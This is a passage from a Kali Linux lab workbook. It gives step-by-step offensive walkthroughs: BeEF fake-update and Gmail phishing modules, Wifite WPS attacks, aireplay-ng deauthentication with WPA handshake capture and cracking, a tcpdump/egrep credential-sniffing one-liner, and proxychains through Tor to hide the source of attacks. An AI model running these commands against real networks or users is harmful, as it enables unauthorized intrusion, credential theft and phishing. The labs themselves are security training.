hash. Considering that this password is a simple one, hashcat manages to
crack it in a few minutes using a word list (nmap.lst) in this case.



We can see from the above screenshot that hashcat uncovered the password
for the user “hello”, which is “qwe123”.



Lab 46. Monitoring Wi-Fi Signals
with Kismet

Lab Objective:
Learn how to monitor Wi-Fi signals with Kismet.

Lab Purpose:
Kismet is a Wi-Fi network analysing tool. It can function as a wireless
network detector, sniffer, and Intrusion Detection System (IDS). It can be
launched by simply opening a terminal and typing “kismet”.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
The Kismet tool is already included with Kali Linux. All we need is to update
it:

sudo su -
apt upgrade kismet

Task 2:
We will need a wireless card which is capable of being put into “monitor mode”
to complete this lab. In this lab, we will use an Alfa network card for this
purpose. There are numerous Wi-Fi adapters on market which support Wi-Fi
hacking. In this page, you can find some of them:



https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-
hacking-in-2019/

The next step is to put our wireless card into monitor mode. We can do this
by typing the following into a terminal:

airmon-ng start wlan0

Task 3:
We are now ready to launch the tool. Kismet will be accessed through our
browser as it will start a service on one of our local ports. To see which port
kismet is running on, type the following into the terminal:

kismet

https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-hacking-in-2019/


This will start “kismet” and a message will appear at the top of the terminal
telling you the address to visit to access the control centre for the tool.

You will need to set an admin username and password here to use the tool
with.

Once you can access this page in Firefox, return to the terminal and press ctrl
+ c. Then, type the following into the terminal:

kismet -c wlan0mon

This will start kismet and tell it to use our wireless interface. You will be able
to access the tool from the same page as you did above. Login with the same



username and password you had set above.

Task 4:
We are now at the main page for the kismet tool. Here, we can see kismet
gathering a lot of information about nearby Wi-Fi networks. There are a
number of headings which we can organise this information by, which can be
seen in the screenshot below:

A summary of the information being gathered by kismet can be viewed at the
bottom of the page.



You will see lots of information being gathered about nearby Wi-Fi networks
on this main page.

If you click on any of these access points or clients, you will see more
detailed information regarding the device. This information is displayed
using graphs and charts.



Task 5:
If you click on a particular access point, you will see information about that
access point as well as some of the active devices connected to that network.

Task 6:
By clicking the hamburger menu on the top left of the screen, we can view
other information about these nearby networks. We can view the channels
kismet is monitoring, the number of total packets kismet is picking up on and
processing, and the amount of memory being used on the networks.





Task 7:
If you want to focus on a particular network and capture more packets, you
can navigate to the data sources page. Once there, click on your interface and
you can lock kismet on a specific channel. Kismet will then only capture
packets from this channel. Simply take note of the channel your target is
broadcasting on and lock kismet on this channel to capture more packets
from your target.



Kismet is a very useful tool for mapping network infrastructure, war driving,
and network monitoring. Kismet will pick up on any suspicious activity, such
as a network constantly changing its name or devices spoofing MAC
addresses, making it useful as an IDS system also. Any alerts picked up by
kismet will be displayed in the bell icon in the top right of the page, as well
as in the alerts section at the bottom of the main page.



Lab 47. Sn1per

Lab Objective:
Learn how to perform a comprehensive vulnerability scan using Sn1per.

Lab Purpose:
Sn1per is an automated scanner which can be used during a penetration test
to enumerate and scan for vulnerabilities. It is an extremely popular
vulnerability scanner. There is both a community and enterprise edition
available. Sn1per makes use of several different popular tools and bundles
them into one, making it a very effective tool for a number of different
purposes. The Sn1per tool web page can be accessed here:
https://github.com/1N3/Sn1per

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
Sn1per tool is not included with Kali. For this reason, we will download and
install it from the source. We can do this by typing the following command
on terminal screen on Kali:

sudo git clone https://github.com/1N3/Sn1per.git

Once this is downloaded, we will then need to install the tool by typing the
following:

cd Sn1per

https://github.com/1N3/Sn1per
https://github.com/1N3/Sn1per.git


sudo ./install.sh

This will take a while to execute, as Sn1per downloads all the tools and
dependencies it needs to run effectively.

When the installation is finished, close this and open a new terminal.

Task 2:
We can view the help screen for this tool by typing the following command:

sudo sniper --help | more



As you can see, the Sniper tool has many parameters. Before we begin, make
sure the tool is fully up to date by running the following command:

sudo sniper –update



Task 3:
We will be using this tool against a TryHackMe server. This server is
designed to be vulnerable so that this technique can be practiced. We can
access the server using openvpn client.

How to connect to this environment with OpenVPN was discussed in detail
in lab 41.

After a successful connection, write down the local VPN IP adress. We will
use this information later. Open another browser tab in Kali, then navigate to:
https://tryhackme.com/room/rpwebscanning

On this page, scroll down until you see the “Join Room” button and click
here. On the next page, click the “Start Machine” button under Task 1 section
to start the lab.

https://tryhackme.com/room/rpwebscanning


By default, you have 1 hour to finish the all tasks in that lab. However, if
necessary, you can request additional time by clicking the “Add 1 hour”
button at the top of the page.

The IP address in the frame that appears after the target environment is
started will be our target IP address. We will use this information later.

Task 4:
Now we can perform a default, comprehensive scan on our target using the
following command:

sudo sniper -t 10.10.66.138



Sn1per will begin scanning the target using a variety of different tools. This
makes Sn1per highly effective at both information gathering and
vulnerability enumeration. Sn1per makes use of many popular tools such as
nmap, metasploit, spider, smuggler, and many others, depending on the types
of vulnerabilities it discovers.





Task 5:
Sn1per can be run in several different modes, depending on your goals
against your target.

Here is a list of the different modes which can be used with this tool:

NORMAL: Performs basic scan of targets and open ports using
both active and passive checks for optimal performance.

STEALTH: Quickly enumerate single targets using mostly
non-intrusive scans to avoid WAF/IPS blocking.

FLYOVER: Fast multi-threaded high-level scans of multiple
targets (useful for collecting high level data on many hosts
quickly).

AIRSTRIKE: Quickly enumerates open ports/services on
multiple hosts and performs basic fingerprinting. To use, specify
the full location of the file which contains all hosts, IPs that need
to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to
begin scanning.

NUKE: Launch full audit of multiple hosts specified in text file
of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke.

DISCOVER: Parses all hosts on a subnet/CIDR (ie.



192.168.0.0/16) and initiates a sniper scan against each host.
Useful for internal network scans.

PORT: Scans a specific port for vulnerabilities. Reporting is
not currently available in this mode.

FULLPORTONLY: Performs a full detailed port scan and
saves results to XML.

MASSPORTSCAN: Runs a “fullportonly” scan on mutiple
targets specified via the “-f” switch.

WEB: Adds fully automatic web application scans to the
results (port 80/tcp & 443/tcp only). Ideal for web applications
but may increase scan time significantly.

MASSWEB: Runs “web” mode scans on multiple targets
specified via the “-f” switch.

WEBPORTHTTP: Launches a full HTTP web application scan
against a specific host and port.

WEBPORTHTTPS: Launches a full HTTPS web application
scan against a specific host and port.

WEBSCAN: Launches a full HTTP & HTTPS web application
scan against via Burpsuite and Arachni.

MASSWEBSCAN: Runs “webscan” mode scans of multiple
targets specified via the “-f” switch.

VULNSCAN: Launches an OpenVAS vulnerability scan.
MASSVULNSCAN: Launches a “vulnscan” mode scans on

multiple targets specified via the “-f” switch.

You can practice on the machine above by running different scans against it
and comparing their different outputs.



Lab 48. Browser Exploitation
Framework (BeEF)

Lab Objective:
Learn how to perform information gathering by hooking a browser using
BeEF.

Lab Purpose:
BeEF is a pentesting tool which focuses on exploiting web browsers. It looks
past the hardened network perimeter and client system to instead focus on
exploitability within the context of the web browser. If a BeEF exploitation is
successful, there is no limit to the information gathering that can then be
performed.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
We first need to install the BeEF tool on Kali. We can do this by opening a
terminal and typing the following:

sudo apt install beef-xss

Once this is done, we can launch the tool by typing the following:

sudo beef-xss



You will then be asked to enter a password for the tool. Do this and press
enter.

This will execute several lines of code and will open a new window in your
web browser, where you will have access to the control panel for BeEF. If the
browser could not open automatically in Kali, open it yourself and type
“http://127.0.0.1:3000/ui/panel” in the address line.



When the page loads, you will be asked for a username and password to login
to BeEF. Use the username “beef” and the password you set above.

Task 2:
We are now able to access the control panel for this tool. The first page
contains lots of documentation, where you can learn more details about how
this tool works.



We will begin by pressing the link for the basic demo page, which can be
found on the main page when logged in to BeeEF. When you press this link,
a new window will open with a hooked browser.

To test this hooked browser, type something in the text window at the bottom
of the screen.

Then, click on the list of browsers to the far left of the beef control panel
page. Select your local browser and press on the Logs tab. Select ID column
to sort by ascending order. This will show you every action you have taken
on the demo page that is open.



Task 2:
Navigate to the details tab. Here, you will be presented with an abundance of
information regarding the details of the browser you have hooked such as the
version, the plugins installed, etc.



Task 3:
Navigate to the Commands tab. Here, we can specify a few different
malicious command to execute on the target browser. For example, click on
the Social Engineering folder and select the Fake Flash Update command.

This command, when executed, will present the user with a popup on their
screen to update their version of Flash. This popup will contain a payload
which is downloaded by the user if they click on the update button. Select
this command and click Execute on the bottom right of the screen. Once this
is done, navigate to the browser demo page.



As you can see, you are presented with a fake Flash update popup. If the user
presses on the buttons in this popup, a file is downloaded to their machine.



This file can be a custom payload designed by us, which we can add to this
exploit in the Commands tab.

Task 4:
We will run through another example of a malicious command which we can
run. In the Social Engineering folder under the commands tab, select the
Google Phishing Command. This will present the user with a fake login
screen for Gmail. Click execute on the bottom right and navigate back to the
demo page.



As you can see, we are presented with a login screen for Google. We can
customise the URL in the Commands tab to change the look of this page to a
newer version of the Gmail login page. If the user inputs their details here,
BeEF will capture them. The details entered can be found by navigating back
to the Commands tab, selecting the same exploit, and clicking on the tab in
between the list of exploits and the description of the exploit.





Lab 49. Hacking WPS Networks
with Wifite

Lab Objective:
Learn how to hack WPS networks using Wifite.

Lab Purpose:
Wifite is a customizable tool which can be used to hack multiple WEP-,
WPA-, and WPS-encrypted networks in a row. It is designed to be a “set it
and forget it” wireless auditing tool. If Wifite fails to crack a WPA
handshake, the handshake will be backed up in a file to Wifite.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
You will need a wireless card which is capable of being put into “monitor mode”
to complete this lab. In this lab, we will use an Alfa network card for this
purpose. There are numerous Wi-Fi adapters in the market which support Wi-
Fi hacking. In this page, you can find some of them:
https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-
hacking-in-2019/

https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-hacking-in-2019/


If you don’t have such a card, you can still read along to learn the process
behind an attack using this tool.

We will begin this lab by opening a terminal in Kali and viewing the help
screen for Wifite. We can do this by typing the following as root user:

sudo su -
wifite -h



Task 2:
Ensure you have your wireless network card connected to your machine.
Once this is done, we can then launch the tool by typing the following:

wifite



Immediately, Wifite will put your network card into “monitor mode” and
begin searching for nearby networks. It will display information about these
networks, such as whether they have WPS enabled or not, as well as the
channel it is running on, the number of clients connected to it, the power of
the signal, the level of encryption, and the ESSID.



Task 2:
When you have found the network that you want to target, end the search for
networks by hitting ctrl + c on your keyboard. You will then be asked to
choose your target by inputting its ID, which is shown on the num column.
Choose the number to the left of your target’s ESSID.



Task 3:
Wifite will then begin launching attacks against the specified target. It will
begin by launching a Pixie-Dust attack, followed by NULL PIN, PIN Attack
and PMKID attack. If all of these attacks fail, Wifite will capture the WPA
handshake and attempt to crack it using aircrack-ng. If this attack also fails,
Wifite will close and save the captured WPA handshake to a file before
exiting.





Lab 50. Capturing Credentials
Submitted through http with

Wireshark

Lab Objective:
Learn how to capture usernames and passwords submitted through http
websites with Wireshark.

Lab Purpose:
Wireshark is an open-source packet analyser. It is used for analysis, network
troubleshooting, and software and communications protocol development and
education. It is a very useful tool for looking in depth at the communications
happening on a network.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
For this lab, we will be capturing requests sent and received from our Kali
machine. We will then analyse these requests for captured information. You
do not need any wireless network card for this lab.

To begin, open a terminal screen in Kali and start Wireshark by typing the
following:



sudo wireshark

You can also start the tool by navigating to the menu on the top left, hovering
over the Sniffing & Spoofing tab, and selecting the Wireshark tool.

Task 2:
Once open, Wireshark will ask you which interface you would like to use to
capture packets. For this lab, we will be using our “eth0” interface, so select
this now by double clicking on it.

You will then be presented with a window that is clearly divided up into three
sections. The top section is used to display a list of the packets captured.
These packets are displayed as a table. Information about each packet is
displayed here, such as the packet number, packet source and destination, the
time captured, and the packet’s protocol.



The second panel describes a hierarchical display of the information included
in a single packet. You can expand different sections to view different
information about each specific packet. We will be using this pane later in
this lab.

The third pane displays the encoded packet data and displays a packet in its
raw, unprocessed form.

Task 3:
The next step is to open Firefox and visit the following site:

http://testphp.vulnweb.com/login.php

Here, you will find a login page. Notice the lock with the red line at the top
left of the page, indicating that this page is communicating through http,
meaning that any data submitted here will not be encrypted.

http://testphp.vulnweb.com/login.php


Enter a random username and password into this form and click login. Once
this is done, return to Wireshark.

Task 4:
You will notice Wireshark capturing a few different packets. We can end the
packet capture now by pressing the red square in the top left corner.

We will now attempt to find our login information captured by Wireshark.



Click on the box at the top of the Window which says: “Apply a display
filter”. In this box, type the following:

http

This will only show us the “http” requests captured by Wireshark. Then, hit
enter. You will notice the number of captured packets drastically reduces.
There is only a handful of info left.

Look for the packet with POST included in the Info section of the first pane
(2). Once you find it, select this packet.

Then, look at the second pane and the section called Hypertext Transfer
Protocol (this is what http stands for). Click on this section and expand it to
see the information it contains (3).

Then, click on the HTML Form URL Encoded section to expand the
information within this tab. You will then see the username and password
entered the form on the http site (4).



We can also view the usernames and passwords in raw form at the bottom of
the third pane.

Task 5:

It is possible to export the captured data packets to a file for later analysis.



Thanks to Wireshark, it is possible to capture any packet transmitted on the
same network without encryption.



Lab 51. Packet Capture with
Tcpdump

Lab Objective:
Learn how to capture packets using tcpdump.

Lab Purpose:
Tcpdump is a network packet analyser and capture tool. It allows the user to
display TCP/IP and other packets being transmitted or received over a
network. We can call it a different kind of Wireshark. It is a free tool.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
The tcpdump tool is already included in Kali. There is no need to install it
separately. We will begin this lab by first viewing the help screen of this tool.
Open a terminal screen and type the following:

sudo su -
tcpdump -h



Task 2:
To begin capturing packets, we first need to select the interface that we want
to use for packet capture. We can list all interfaces available to us using the
following command:

tcpdump -D

You can then select the interface you want to use to begin capturing packets
with the following command:

tcpdump -i eth0

Also, by using the “-Q <in|out>” parameter, we can determine the direction
of the package to be monitored according to the interface:



tcpdump -n -i eth0 -Q out

Normally, tcpdump shows the hosts and ports by their names on the capture
outputs. However, this might slow us down a bit. If we want to run the above
scan faster, we can specify for tcpdump not to resolve IP addresses to
hostnames by appending “-n” to the command. This also shows ports with
their numbers instead names. It will look like the following:

tcpdump -n -i wlan0

We then use the -c parameter, which will help us to capture the exact amount
of data that we need and display them. It refines the amount of data we
captured:

tcpdump -n -i wlan0 -c 5

Task 3:
We can also get the ethernet header (link layer headers) by appending “-e” to
the command above. This will look like the following:

tcpdump -n -e -i wlan0



Task 4:
The verbose mode provides information regarding the traffic scan. For example, time to live (TTL),
identification of data, total length, and available options in IP packets. It enables additional packet
integrity checks such as verifying the IP and ICMP headers. To get extra information from our scan, we
need to use -v parameter.

tcpdump -n -i eth0 -v

Task 5:
We can also use tcpdump to filter packets based on several expressions. If we
want to view only TCP packets, we can use the following command:

tcpdump -n tcp

We can also specify to pick up DNS request packets using this command:

tcpdump -n “udp and dst port 53”



Task 6:
Tcpdump is a powerful tool when it comes to customisation. We can input a
variety of combinations of commands to gather different packets from a
network. For example, this next command will display the SSH packets
coming from one source and going to another destination.

tcpdump “src 192.168.1.28 and dst 192.168.1.1 and port ssh”

This can be especially useful if spying on a particular target on a network.
Instead of port names, direct numbers can be written here.

Task 7:
To print each packet in ASCII code, we need to use “-A” parameter. This
next command is an example of using grep with tcpdump to help it only
display information we deem to be important.

tcpdump -n -i eth0 -A | grep -e “POST”

This command will begin gathering all packets using tcpdump, and we then
use grep to find and display all POST requests to us. This is an example of
how tcpdump can be used in a creative fashion to display detailed
information about the network.



Task 8:
In tcpdump, we can write and read into a “.pcap” extension file. “-w”
parameter allows us to write raw data packets that we have as an output to a
standard pcap file. This created pcap file can then be re-examined with
tcpdump by using “-r” parameter, or imported to Wireshark tools which runs
on another machine if desired, and a filter can be applied on it.

In the example below, we save the packages captured by the eth0 interface in
the first line to the specified pcap file. In the second line, we do an analysis
by reading this recorded file without real-time monitoring:

tcpdump -n -i eth0 -w sess01.pcap
tcpdump -n -r  sess01.pcap | more

Task 9:
Finally, we will attempt to capture usernames and passwords submitted
through a http form from a device on the network. We will use the following
command to do this:

tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A | egrep -i
‘pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass
|user ‘ --color=auto --line-buffered -B20

This command will search for any usernames or passwords communicated
with known protocols over the network. We can test this out by first
executing this command and then visiting the following webpage:

http://testphp.vulnweb.com/login.php

http://testphp.vulnweb.com/login.php


With the command above running in the background, submit a random
username and password through this form. Then, return to the terminal and
you will find the username and password captured there.



Lab 52. How to Discover Nearby
Wi-Fi Networks with Airodump-ng

Lab Objective:
Learn how to discover nearby Wi-Fi networks with Airodump-ng.

Lab Purpose:
Airodump-ng is a part of the Aircrack-ng set of utilities for analysing Wi-Fi
networks for weaknesses. It is mainly used for Wi-Fi discovery.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
Airodump-ng comes pre-installed on Kali. You will need a wireless card
which is capable of being put into “monitor mode” to complete this lab. In this
lab, we will use an Alfa network card for this purpose. There are numerous
Wi-Fi adapters on market which are supports Wi-Fi hacking. In this page,
you can find some of them: https://www.ceos3c.com/security/best-wireless-
network-adapter-for-wifi-hacking-in-2019/

https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-hacking-in-2019/


We will begin this lab by first connecting our wireless network card to our
Kali machine. Once the network card is connected, we can use airmon-ng to
show us the available network cards which will work with the Aircrack-ng
tools by using this command:

sudo su -
airmon-ng

The next step is to then place this card into monitor mode using the following
command:

airmon-ng start wlan0



This will allow our network card to intercept nearby Wi-Fi packets.

We can confirm that our network card is in monitor mode by executing the
following command:

ifconfig

You will note that the interface now has a “mon” after its name; “wlan0mon”
in this instance.

Task 2:
Once the above task is done, we can then start airodump-ng and discover
nearby Wi-Fi networks using the following command:

airodump-ng wlan0mon

This will start the airodump-ng tool and it will begin searching for nearby
Wi-Fi networks.



1. Shows us MAC address of detected Access Points.
2. Signal power level also tells target device distance from our
Wi-Fi antenna. Higher numbers indicate better signal.
3. Channel number on which target APs are running
4. The encryption methods that targets are using.
5. If the target AP advertises themselves with a name, we can see
it in this section.
6. MAC address of connected clients to various AP stations.
MAC address of various client devices that are connected to APs
around.

Task 3:
Once your target network has been found, we can stop the search by hitting
ctrl + c on the keyboard.

We will now run airodump-ng again, but only for the target network. This
way, we can capture more information about our target network and the
clients connected to the network.

To do this, we will use the following command:

airodump-ng -c 9 --bssid 94:e4:ba:8b:81:ab -w /root/Desktop wlanmon

When you execute this command, you will then see that airodump is now
only capturing information about your target network.



“-bssid” is used to specify the BSSID MAC address of a target machine.
“-w” is used to specify the location where our files are going to be
written.
“-c” is used to specify the target channel number.

We can see that, on the network above, there is one client connected to the
network and the number of frames that client is communicating through the
network. Keep this running state, as we will need it for the next lab where we
capture the WPA handshake file.



Lab 53. How to Capture a WPA
Handshake File Using Airodump-ng

and Aireplay-ng

Lab Objective:
Learn how to capture the WPA handshake file of a network using Airodump-
ng and Aireplay-ng.

Lab Purpose:
Airodump-ng is a part of the Aircrack-ng suite of utilities for analysing Wi-Fi
networks for weaknesses. It is mainly used for Wi-Fi discovery.

Aireplay-ng is also part of the Airecrack-ng suite of utilities. It is used to
inject frames with the goal of generating traffic for later use in Aircrack-ng
when trying to crack the WEP and WPA keys.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
This lab is a continuation of lab 52, where we discovered our target network
usig airodump-ng.

Note: you will need a wireless network card capable of being placed in
monitor mode to complete this lab.



We will be using the tool aireplay-ng for this lab. You can view the help
screen for this tool by typing the following:

aireplay-ng --help

With airodump-ng still running from the previous lab and capturing
information from our target network, open a new Kali terminal screen. Then,
type the following command:

aireplay-ng -0 2 -a 94:E4:BA:8B:B1:AB -c 48:E1:E9:28:7A:AD wlan0mon

This command will tell the aireplay tool to deauthenticate the specified client
from our target network. This will kick the client from the network. While
this is happening, airodump-ng, which should still be running, will be
listening for when the client attempts to connect back to the network. When
the client does this, it will transmit the network password in encrypted form.
We will be attempting to capture this encrypted password.

As you can see from the screenshot above, aireplay is broadcasting
deauthentication packets to the target network, telling it to kick the specified
client from the network. Thus, since the re-authentication process will take
place, we would have caught a lot of valuable packages.

Task 2:
Return to the window where airodump-ng is still running. If this attack
worked correctly, you will notice in the top right of the window that there is
now a section which shows you the captured WPA handshake.



Keep this information for the next lab, where we will cover how to crack this
WPA handshake and obtain the password in cleartext.



Lab 54. How to Crack WPA
Handshake Files Using Aircrack-ng

Lab Objective:
Learn how to crack a WPA handshake file using Aircrack-ng.

Lab Purpose:
Aircrack-ng is a set of utilities for analysing Wi-Fi networks for weaknesses.
It can be used to monitor Wi-Fi security, capture data packets, and export
them to text files for additional analysis.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
This lab is a continuation of lab 53, where we managed to capture the WPA
handshake for our target network. In this lab, we will now attempt to crack
this WPA handshake and obtain the cleartext password for the network.

To begin, first locate the file containing the captured WPA handshake. If you
followed the steps in lab 53, this file will be located in the home directory of
“root” user and will be called “Desktop-01.cap”. This is the file we will be
cracking.

We will be using the tool aircrack-ng for this lab. We can view the help
screen for this tool by typing the following:



aircrack-ng --help

Task 2:
We will not need any wireless interface card for the next steps as this process
involves using your machine’s resources in an attempt to crack the password
encryption. We can attempt to crack the password using the following
command:

aircrack-ng -a 2 -b 94:E4:BA:8B:B1:AB -w /usr/share/wordlists/rockyou.txt /root/Desktop-01.cap

Let’s break this command down:

-a is the method Aircrack will use to crack the handshake. 2
means that the file is encrypted with WPA encryption

-b is the BSSID of the target network
-w is the wordlist we will use to attempt to crack the handshake

file (if it is compressed, gunzip first before use)

The following screenshot is what our full command looks like:

Hit enter when you have this command typed out. Our screen will clear, and
we will be presented with the aircrack-ng screen as it attempts to crack the
handshake file (Desktop-01.cap). We have used the “rockyou.txt” file as our
wordlist, so Aircrack will now attempt over 14 million passwords against the
captured handshake file. This is a dictionary attack. Depending on the
resources available to your machine, this attack may take a while to complete.



You can find many ready-to-crack cap files on dictionaries in aircrack’s
github repositoy:

https://github.com/aircrack-ng/aircrack-ng/tree/master/test

https://github.com/aircrack-ng/aircrack-ng/tree/master/test


Lab 55. Using Proxychains for
Anonymous Hacking

Lab Objective:
Learn how to use proxychains for anonymous hacking.

Lab Purpose:
Proxychains is an open-source software which comes pre-installed in Kali
Linux. This is a useful tool for redirecting TCP connections through proxies
such as SOCKS4, SOCKS5 and Tor. It allows us to chain proxy servers
together for the purpose of hiding the source address of our traffic and
evading IDS and Firewalls.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
While proxychains comes pre-installed in Kali, you should run the following
command to ensure it is the most up to date version before beginning this lab:

sudo su –
apt install proxychains

Once this is done, we can view the help screen for the tool by typing the
following command:

proxychains --help



Task 2:
In this lab, we will be using proxychains to redirect our traffic through Tor.
Tor works by bouncing our traffic around a number of servers, using the
proxychain software in Kali, which helps keep our IP address anonymous.
We can download the Tor software in Kali using the following command:

apt install tor

Task 3:
The next step is to edit the proxychain’s configuration file so that we specify
to the tool that we want to redirect our traffic through Tor. To do this, we
must first open the config file with the nano editor:

nano /etc/proxychains.conf

Once the file is open, we want to enable some functionality in the tool by
removing the # at the beginning of that line. To disable some functionality,
we can add a # at the beginning of that line.

1. First, we want to look for the line with “dynamic_chain” and
enable this by removing the #.
2. Next we want to look for the line with “strict_chain” and
disable it.
3. Then, look for the line with “proxy_dns” and enable it.
4. Finally, go to the very bottom of the file and change “Socks4”
to “Socks5” in the last line: “Socks5 127.0.0.1 9050”

Once these changes are made, save the changes and close the file. Then, type



this command:

grep -v “^\#” /etc/proxychains.conf

Here is a screenshots of my config file, so you can see what the final
configurations should look like:

Task 4:
Open a terminal in Kali and type the following to start and check status of 
the Tor service:

service tor start
service tor status



First of all, let’s determine our IP address before using a proxy. Open a
browser and navigate to this site:

https://dnsleaktest.com

Then, close the browser and run the following command on the terminal
screen:

proxychains firefox https://dnsleaktest.com

This site will test our setup and show you your current location and the
servers your traffic is flowing through. The location should not be in our
home country!

Task 5:
Similar to browser usage, we can collect information anonymously by typing
the proxychains command in front of other commands:

proxychains whois example.com

https://dnsleaktest.com/
https://dnsleaktest.com/




Lab 56. How to Use MD5
Checksums to Determine if a File

Contains Malware

Lab Objective:
Learn how to use MD5 checksums to determine if a file contains malware.

Lab Purpose:
MD5 checksums are often used in the malware community as a means of
determining if a file contains malware, and, if so, what kind of malware it
contains.

Lab Tool:
Windows

Lab Topology:
You can use a Windows and Kali Linux machine for this lab.

Lab Walkthrough:

Task 1:
The first step to finding the MD5 checksums of a file is to download the
Hashtab tool via the following link:

http://implbits.com/products/hashtab/

This tool will calculate the MD5 checksum for every file on our PC. We are
able to view these checksums by right-clicking on a file and selecting
Properties. Once you have this tool installed, you will notice a new tab on
this window called File Hashes, where we can view the different hashes for

http://implbits.com/products/hashtab/


this file. Download the free tool from the link above before moving on to the
next steps.

Task 2:
Once we have this tool installed, we can begin checking files on our
Windows machine to determine if they contain any malware. To do this, we
will right-click on a target file, select properties, and, in the new window that
pops up, click on the File Hashes tab.

Here, we can view the CRC32, MD5, and SHA1 hash for the file in question.

Task 3:
This program can also support some other hash mechanisms. Now, let’s add
SHA-256 and SHA-512 support to our program.



Task 4:
Open a random file, then right-click on the MD5 hash and copy it to your
clipboard.



Once this is done, navigate to the following site:

https://www.virustotal.com/gui/home/search

Paste the hash file into the search box here and hit enter. This site will now
run the MD5 hash through a number of different Antivirus libraries
containing the most common MD5 checksums for known malware.

If we picked a random file from our PC, we likely receive no response from

https://www.virustotal.com/gui/home/search


the webpage, indicating that there is no malware in the file selected.

Task 5:
Now, copy this MD5 hash below and paste it into the same search box:

9498FF82A64FF445398C8426ED63EA5B

This is the MD5 checksum for a common piece of trojan malware. You will
notice a number of alerts on the webpage this time.



This is an example of how to test a random file to see if it has malware. This
is also one of the first steps an Antivirus will take when scanning a fie. It will
create the MD5 Checksum of the file in question and compare it to a massive
database of known MD5 checksums of malicious files.

Task 6:
Let’s work on a real case. We will download a malware to our Kali Linux
machine and compare its MD5 hash from VirusTotal database:

First of all, let us remind you that such files are shared for educational
purposes and should not be copied to production machines.

Open a browser on your Kali machine and go to the following address:
https://dasmalwerk.eu/

Here, countless real malware is shared as zipped files for educational
purposes. Each zip file is protected with a password to prevent accidental
opening, which is by default: “infected”.

Let’s pick a random Trojan on this page; “Dropped:
Trojan.AgentWDCR.PZW” is the one we selected. Download this file to the



“Downloads” directory on our Kali machine by clicking the download link.

Now, we will unzip the downloaded file. Open a terminal screen then type
these commands:

cd Downloads
unzip
cc13afd5ffdd769c66118f4f5eec7f80655c14cfdc6e8b753e419bbfbea4784e.zip

When asked for a password, enter word: infected

Now, we have a malicious windows executable file. We can get more details
about this file with the “file” command:

file
cc13afd5ffdd769c66118f4f5eec7f80655c14cfdc6e8b753e419bbfbea4784e

PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed



Now, we will calculate the MD5 hash of our unzipped file and query it in
VirusTotal:

md5sum
cc13afd5ffdd769c66118f4f5eec7f80655c14cfdc6e8b753e419bbfbea4784e



Paste this MD5 hash to VirusTotal’s query page.
https://www.virustotal.com/gui/home/search

Now, if we find a suspicious file in our system, we know how to query if it is
harmfull. Moreover, we do not need to export this file or run an antivirus. In
databases such as VirusTotal, it is possible to query against more than one
antivirus library at once.

https://www.virustotal.com/gui/home/search


Lab 57. How to Use Process
Explorer to Find and Scan

Suspicious Processes for Malware

Lab Objective:
Learn how to use Process Explorer to find and scan suspicious processes for
malware in Windows.

Lab Purpose:
Process Explorer is a tool which is part of the Microsoft Windows
Sysinternals suite. This is a set of more than 70 free tools used to monitor,
manage, and troubleshoot the Windows operating system. Process explorer is
used as a free advanced task manager and system monitor.

Lab Tool:
Windows

Lab Topology:
You can use a Windows machine for this lab.

Lab Walkthrough:

Task 1:
The first step for this lab is to download the Process Explorer tool. This can
be done from the following link:

https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer

We will use this tool to analyse the process running on our Windows
machines. I will then demonstrate how you would scan a suspicious process

https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer


using VirusTotal to determine if it is malicious. Open Process Explorer and
we can begin.

Task 2:
When you first open the tool, you will see every process currently running on
your system.

You can set the level of priority your system places on a particular process by



right clicking on the process and navigating to the Set Priority section. Be
careful when doing this, as setting a process to be considered as a low priority
when it should be a high priority process could cause performance issues in
your machine.

Task 3:
We can search for the name of a particular process by right clicking on the
process and navigating to the Search Online section at the bottom. This will
open your default browser and search for the name of the process.



Task 4:
If you have identified a process which looks suspicious, we can scan Virus
Total for this process to determine if it is in fact malicious. We can do this by
right clicking on the process and navigating to the Check VirusTotal section.

You will then be presented with the VirusTotal terms of service. Simply
accept the terms and this window will close.



You may now notice that there is a new heading at the top of this tool called
Virus Total. This heading will show the number of antivirus services that
have flagged that particular process as a potential virus. Ideally, you want
every process to return as 0/74.



As you can see from the screenshot above, I scanned the “explorer.exe”
process with Virus Total. The result returned shows that 0 out of the 74
Antivirus engines categorised this process as malicious. If a process returns
with a number of Antivirus engines flagging it as malicious, this should be
cause for further investigation.

Task 5:
If we want to check all process running on our system for potential malicious
processes, we can navigate to the top of the tool and click on the Options tab.
From here, select the VirusTotal.com tab and then select the Check
VirusTotal.com.

This will submit the hash of every process runing on the ssystem to Virus
Total and will check for any malicioius processes.



Task 6:
Finally, we can verify all image signatures for each process. We can do this
by navigating to the Options tab at the top of the tool and selecting the Verify
Image Signatures section.



This is a good next step to take if you have a process which was flagged as
malicious by Virustotal, so that you can better determine if the process really
